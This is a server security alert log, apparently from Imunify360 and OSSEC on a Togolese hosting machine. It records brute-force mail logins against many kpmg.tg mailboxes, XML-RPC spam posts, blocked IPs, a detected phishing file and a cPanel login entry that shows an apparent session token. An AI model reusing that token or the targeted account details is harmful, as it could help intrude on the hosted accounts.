IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:75bf4c2feb4743efa80594e549358cabe8a11c5e||Title:rrhmyjmydgxprn||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-12 05:06:39 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:53190: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:07:12 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.63.213.7
country_id: 1562822
description:
2026-06-12 05:07:44 H=(localhost.localdomain) [103.63.213.7]:46888 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info-lvtm@bdsdalat.com> rejected RCPT <info@wellcity.tg>: The mail server could not deliver mail to info@wellcity.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:07:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:711f06390bf67b45855a6541c2f5df2ea8645554||Title:2qhnsn94fwsq34l||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f4606e6605d5f81c1c4d31c9d0f69cc3b673359c||Title:7qjj40e1scqb5xi63||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.143.170.135
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:34.143.170.135||TA:34.143.170.135||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 92.63.204.61
country_id: 1512440
description:
2026-06-12 05:08:23 H=([185.139.138.116]) [92.63.204.61]:9463 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.57.124.133
country_id: 3865483
description:
2026-06-12 05:09:25 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.57.124.133]:34734: 535 Incorrect authentication data (set_id=info@kpmg.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:94342b9d80a23a530fe894c90cfcda93b1649044||Title:bohm7lp5jkksxsc9||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 12 05:09:47 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.202.27
country_id: 99237
description:
2026-06-12 05:09:57 dovecot_plain authenticator failed for H=([69.172.210.47]) [62.201.202.27]:52002: 535 Incorrect authentication data (set_id=support@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 12 05:10:07 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.116.229.100
country_id: 2510769
description:
2026-06-12 05:10:11 dovecot_plain authenticator failed for H=([69.172.210.47]) [79.116.229.100]:44954: 535 Incorrect authentication data (set_id=marketing@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.225.232.145
country_id: 3469034
description:
2026-06-12 05:09:42 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.225.232.145]:54582: 535 Incorrect authentication data (set_id=admin@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.31
country_id: 3469034
description:
Jun 12 05:09:50 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.33.46.45
country_id: 2017370
description:
2026-06-12 05:10:41 dovecot_plain authenticator failed for H=([69.172.210.47]) [62.33.46.45]:2171: 535 Incorrect authentication data (set_id=contato@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun 12 05:10:51 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:38aa1f1ac63143ebc49a2377d214c2ba61d9e392||Title:kr5g0t6qian5otl5||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.43.254.28
country_id: 3625428
description:
2026-06-12 05:10:26 dovecot_plain authenticator failed for H=([69.172.210.47]) [38.43.254.28]:58780: 535 Incorrect authentication data (set_id=contact@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.104.75.15
country_id: 3895114
description:
2026-06-12 05:10:57 dovecot_plain authenticator failed for H=pc-15-75-104-200.cm.vtr.net ([69.172.210.47]) [200.104.75.15]:60992: 535 Incorrect authentication data (set_id=contacto@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.164.20.95
country_id: 3996063
description:
2026-06-12 05:11:16 dovecot_plain authenticator failed for H=([69.172.210.47]) [189.164.20.95]:57856: 535 Incorrect authentication data (set_id=financeiro@kpmg.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:615c6f12d6300404e8bdd077768b5e388e7e8794||Title:igb1ebrvybn523||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.195.2.184
country_id: 3469034
description:
2026-06-12 05:11:48 dovecot_plain authenticator failed for H=([69.172.210.47]) [168.195.2.184]:4703: 535 Incorrect authentication data (set_id=it@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.97.156.237
country_id: 1605651
description:
2026-06-12 05:12:03 dovecot_plain authenticator failed for H=ppp-171-97-156-237.revip8.asianet.co.th ([69.172.210.47]) [171.97.156.237]:3962: 535 Incorrect authentication data (set_id=accounts@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 12 05:11:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 12 05:11:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.67.215.227
country_id: 1643084
description:
Jun 12 05:11:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.67.215.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.164.20.95
country_id: 3996063
description:
2026-06-12 05:11:23 dovecot_login authenticator failed for H=([69.172.210.47]) [189.164.20.95]:57856: 535 Incorrect authentication data (set_id=financeiro@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 12 05:11:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 12 05:11:55 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun 12 05:12:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.147.132.135
country_id: 6252001
domain: civilemagazine.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:142.147.132.135||TA:142.147.132.135||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.224.72.69
country_id: 99237
description:
2026-06-12 05:11:31 dovecot_plain authenticator failed for H=([69.172.210.47]) [169.224.72.69]:8644: 535 Incorrect authentication data (set_id=comercial@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun 12 05:11:53 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.117.205.207
country_id: 2542007
description:
2026-06-12 05:12:18 dovecot_plain authenticator failed for H=([69.172.210.47]) [196.117.205.207]:58664: 535 Incorrect authentication data (set_id=suporte@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.245.146.219
country_id: 2017370
description:
2026-06-12 05:13:11 dovecot_plain authenticator failed for H=([69.172.210.47]) [94.245.146.219]:2095: 535 Incorrect authentication data (set_id=soporte@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.67.215.227
country_id: 1643084
description:
Jun 12 05:13:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.67.215.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.117.205.207
country_id: 2542007
description:
2026-06-12 05:12:25 dovecot_login authenticator failed for H=([69.172.210.47]) [196.117.205.207]:58664: 535 Incorrect authentication data (set_id=suporte@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 12 05:12:42 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.158.60.140
country_id: 1512440
description:
2026-06-12 05:12:34 dovecot_plain authenticator failed for H=([69.172.210.47]) [94.158.60.140]:51074: 535 Incorrect authentication data (set_id=hr@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 12 05:12:46 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.101.64.91
country_id: 1733045
description:
2026-06-12 05:12:54 dovecot_plain authenticator failed for H=([69.172.210.47]) [118.101.64.91]:57650: 535 Incorrect authentication data (set_id=office@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.204.62.97
country_id: 3469034
description:
2026-06-12 05:13:42 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.204.62.97]:19549: 535 Incorrect authentication data (set_id=clients@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.184.202.61
country_id: 1168579
description:
2026-06-12 05:13:58 dovecot_plain authenticator failed for H=([69.172.210.47]) [182.184.202.61]:33846: 535 Incorrect authentication data (set_id=info@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.24.134.242
country_id: 2017370
description:
2026-06-12 05:13:26 dovecot_plain authenticator failed for H=([69.172.210.47]) [213.24.134.242]:1843: 535 Incorrect authentication data (set_id=ventas@kpmg.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-15.213.32.21.59||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:17:19 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-12 05:17:29 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:61207: 535 Incorrect authentication data (set_id=git)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:17:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 12 05:17:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 52.178.152.212
country_id: 2963597
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:q||MV:59--des-consommateurs-ivoiriens-ont-deja-utilise-lia-pour-leurs-achats-mais-la-confiance-reste-decisive-au-moment-du-paiement||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 89.218.250.130
country_id: 1522867
description:
2026-06-12 05:22:11 H=([89.218.250.130]) [89.218.250.130]:64143 F=<dba.moyenmono@ceni.tg> rejected RCPT <dba.moyenmono@ceni.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 12 05:23:45 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.209
country_id: 1880251
description:
47.128.96.209 - - [12/Jun/2026:05:25:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737617&pdata=https%253A%252F%252Fca-togo.org%252Fimp%252Fenglish%252Findex1.php%253FpageID%253D5&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781241900 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org/imp/english/index1.php?pageID=5" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.209


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:25:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.166
country_id: 1880251
description:
47.128.96.166 - - [12/Jun/2026:05:26:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052458&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feducation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781242013 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/education/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.166


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:26:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-12 05:27:44 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:53275: 535 Incorrect authentication data (set_id=test002)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 12 05:27:42 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 170.106.110.108
country_id: 6252001
domain: www.hotel-yabisso.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.159 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 89.218.250.130
country_id: 1522867
description:
2026-06-12 05:30:08 H=([89.218.250.130]) [89.218.250.130]:64549 F=<dba.moyenmono@ceni.tg> rejected RCPT <dba.moyenmono@ceni.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.238.247.238
country_id: 3469034
description:
Jun 12 05:30:46 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.238.247.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.238.247.238
country_id: 3469034
description:
2026-06-12 05:30:48 dovecot_login authenticator failed for H=(13.15.190.94.interra.ru) [186.238.247.238]:40009: 535 Incorrect authentication data (set_id=api@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 12 05:34:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:33:33 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:37:04 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:05:42:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856668&pdata=http%253A%252F%252Fwww.hofbrau.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781242970 HTTP/1.1" 302 0 www.hofbrau.snb.tg "http://www.hofbrau.snb.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [12/Jun/2026:05:42:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7063709&pdata=http%253A%252F%252Fwww.hofbrau.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781242970 HTTP/1.1" 302 0 www.hofbrau.snb.tg "http://www.hofbrau.snb.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:05:42:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9593196&pdata=http%253A%252F%252Fwww.hofbrau.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781242977 HTTP/1.1" 302 0 www.hofbrau.snb.tg "http://www.hofbrau.snb.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 130.254.112.74
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:130.254.112.74||TA:130.254.112.74||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:43:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.68
country_id: 298795
description:
Jun 12 05:45:34 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.68 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.204
country_id: 1880251
description:
47.128.96.204 - - [12/Jun/2026:05:46:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301737&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fong-adra%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781243187 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ong-adra/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.204


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.26
country_id: 2750405
description:
Jun 12 05:50:47 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.26
country_id: 2750405
description:
2026-06-12 05:50:49 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.26]:57707: 535 Incorrect authentication data (set_id=seee)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 12 05:51:46 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 118.194.230.61
country_id: 1861060
domain: ceni.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/in/out/qkssbq/jason.lee@henkel.com||User:root||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.217.84.170
country_id: 272103
description:
185.217.84.170 - - [12/Jun/2026:05:55:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001048&pdata=https%253A%252F%252Ftogodailynews.tg%252Fla-bad-approuve-une-ligne-de-credit-de-50-millions-de-dollars-et-de-50-millions-deuros-en-faveur-de-la-bidc%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781243705 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/la-bad-approuve-une-ligne-de-credit-de-50-millions-de-dollars-et-de-50-millions-deuros-en-faveur-de-la-bidc/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.8527.1335 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.217.84.170


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:55:08 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:56:02 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.105.5
country_id: 798544
description:
Jun 12 05:56:24 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.105.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.32
country_id: 3469034
description:
Jun 12 05:58:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.32 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.117.63.156
country_id: 1210997
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-58.45.117.63.156||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 216.189.152.23
country_id: 6252001
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.788482313936954.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.154
country_id: 2635167
description:
[2026-06-12 05:58:29 +0000] info [cpaneld] 5.230.153.154 NEW mgvybwur:pKGk97QIAhxkb5TG address=5.230.153.154,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.8.54
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:06-01.65.111.8.54||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:04:24 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.92
country_id: 1880251
description:
47.128.121.92 - - [12/Jun/2026:06:04:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13277084&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdeveloppement-economique-la-transformation-locale-change-de-dimension%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781244267 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/developpement-economique-la-transformation-locale-change-de-dimension/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.92


plugin: ossec
